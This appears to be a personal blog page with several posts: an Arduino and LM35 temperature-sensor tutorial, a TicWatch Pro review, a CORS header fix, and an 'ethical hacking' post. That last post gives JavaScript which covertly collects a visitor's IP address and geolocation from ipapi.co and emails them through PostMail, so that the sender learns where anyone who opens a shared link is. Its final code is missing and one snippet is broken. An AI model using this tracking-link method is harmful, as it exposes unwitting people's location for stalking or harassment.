Jan 20, 2023

Ethical hacking: Hassle free logging of IP address of any person

Aim

In this article we will write static HTML and javascript client side code to log the IP address of the person just by sending him the web page link.

Introduction

PostMail: used to send email using javascript.
IpApi.co: used to get IP address and geolocation details at client side javascript

First Let's create simple jQuery plugin to send GET the CORS resource hosted at ipapi.com.
With recent version of jQuery it forces us to follow CORS policy so I am using plain JavaScript

jQuery.getCORS = function (source, func) {
    var xmlHttpRequestObject;
    if (window.XMLHttpRequest) {
        xmlHttpRequestObject = new XMLHttpRequest();
        if (xmlHttpRequestObject != null) {
            var sUrl = source;
            xmlHttpRequestObject.open("GET", sUrl, true);
            xmlHttpRequestObject.onreadystatechange = function () {
                func(xmlHttpRequestObject.responseText);
            };
            xmlHttpRequestObject.send();
        } else {
            func("Error creating XmlHttpRequest object. Client is not CORS enabled");
        }
    }
};
 

Following code retrieves the IP address of the user at client side

$.getCORS('https://ipapi.co/json/', function (data) {
	console.log(data);
};
 
For example following is response from ipapi for 8.8.8.8 google ip address:

Now lets get API key from PostMail
Go to the site https://postmail.invotes.com/, enter your email address and after submission you will get link in the email.

POST request to send email from javascript using postmail API

var data = {
	"access_token": "PostMail Access Token Here"
};

data['subject'] = "Send email from javascript";
data['text'] = "This is test email";

$.post('https://postmail.invotes.com/send',
    data,
    function () {
        //success
    }
).fail(function () {
    //error
});


Final version:


    
    

    
Loading...
]]>

This code is available on github, editable at stackblitz⚡️

References

How to send an email from JavaScript: https://stackoverflow.com/a/36656479/223752
PostMail: https://postmail.invotes.com/
IP geolocation API: https://ipapi.co

Note: I am not affiliated with PostMail or ipapi.co

Oct 31, 2022

Arduino for Beginners: IoT basics

Aim

In this article we will have high level overview of Arduino, its parts, sensors and how we can use it with Internet of Things aka IoT sensors. I will take you step by step in creating your first simple Arduino project and reading data from IoT temperature sensor.

Introduction

Arduino is open source programmable circuit board which you can use for creating electronic hardware. This board contains a microcontroller which can be programmed to sense and control the electronic components.

Following image depicts one of the most popular Arduino boards “Arduino UNO” and its components on the board:



1.     Microcontroller: This is the brain of the Arduino where the programs are stored, on UNO board the microcontroller is based on ATmega328P integrated circuit(IC).



2.     USB Port: The USB port can be used to powering up the board and also to connect to PC and flash programs on the board

3.     USB to Serial chip

4.     Digital Pins: Pins 0-13 can be used for digital input or output

5.     Analog Pins: These pins can read the signal from an analog sensor and convert it to digital



6.     5v, 3.3v out Pin: This pin supplies 5/3.3 volts of power to your electronic sensors and circuits

7.     GND Pin: This pin is used to allow the flow of leakage and fault current. Sudden rise in flow current will damage the equipment, hence it is a protection.

Breadboard: The breadboard allows you to create temporary prototypes and experiment with different circuit designs without permanently soldering the circuit together.



 

Jumper Wires: The electronic components are connected to each other using Jumper wires, electricity flows through these jumper cables, Jumper wires are of three types- Male to Male, Male to Female and Female to Female



LED: Light Emitting Diode, an LED can emit any color depending on its make, following LED emits blue light.



Resistor: Resistors resist the flow of electricity and the higher the value of the resistor, the more it resists, and the less electrical current will flow through it.



Your first Arduino Sketch

We can program the Arduino using C/C++ language, the programs in Arduino are called as Sketch, the sketches are saved as “.ino” extension. To write the programs we need to download the Arduino IDE which is available at https://www.arduino.cc/en/software

A minimal Arduino sketch consists of only two functions:

1. setup(): This function is called once when a sketch starts after power-up or reset. It is used to initialize variables, input and output pin modes, and other libraries needed in the sketch. It is analogous to the function main().

2. loop(): After setup() function exits (ends), the loop() function is executed repeatedly in the main program. It controls the board until the board is powered off or is reset. It is analogous to the function while(1).

 





Pin Connections

The above sketch turns the LED on and off each 1 second interval.

Sensors

A sensor, in simple terms, is used to sense its environment, meaning it records a physical parameter, for example temperature, and converts it into an electronic signal.



In this article we will use the temperature sensor.




LM35 is a classic Analog Temperature Sensor. LM35 has 3 pins: VCC, Data and GND.

Place the LM35 anywhere horizontally on your breadboard, the flat side of the sensor must be facing you. Then, connect three wires under the three pins of the sensor.

The wire on the left will go to the 5v pin on the Arduino.

The middle wire will go to A1 (analog pin 1).

The wire on the right will go to GND (-) on the Arduino.

 

Upload below sketch to Arduino.

 



You can see the program output in the Arduino serial monitor console



References

1.     Temperature sensor Arduino project https://bit.ly/3SGSuJ8

2.     Uploading Arduino sketch https://www.youtube.com/watch?v=wzc97nv8heU

3.     Buy electronic components and sensors https://robu.in/

4.     Arduino Wikipedia https://en.wikipedia.org/wiki/Arduino

5.     Arduino IDE https://www.arduino.cc/en/software

6.     Arduino starter kit https://amzn.to/3SEvASw

7.     Make Electronics book pdf https://bit.ly/m4k3elekt

Aug 22, 2022

TicWatch Pro - my new smart watch

Long ago I saw this watch "TicWatch Pro", I was hesitant to buy smart watches because their battery life and thinking that whats the use of buying a smart watch "Its just gonna just show Time", Now in 2022 I purchased latest version, I am quite impressed by TicWatch Pro features. 


 

  1. Dual layerd display - old digital style mode and smart mode
  2. Upto 30 days battery life in essential mode
  3. Sleep Tracker
  4. Physical exercise tracker
  5. GPS
  6. Wi-Fi
  7. Bluetooth - recieve and dial phone calls from watch (futuristic)
  8. Heart rate meter
  9. Phone Notifications (I like this feature most)
  10. Waterproof

To speed up the watch, custom wear OS rom can be installed, here's xda guide

Here's the review posted by random youtuber:

Aug 3, 2022

Fix: No 'Access-Control-Allow-Origin' header is present on the requested resource

I came across following error when executing AJAX request to another external site from source site over https protocol
Access to XMLHttpRequest at 'https://destination.com/test.svc/test' from origin 'https://source.com/test.html' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.

The fix for this issue is adding custom headers 'Access-Control-Allow-Origin' in the response, To do this let's add following node in web.config

    
now in the response of XmlHttpRequest we get the access control header as follows: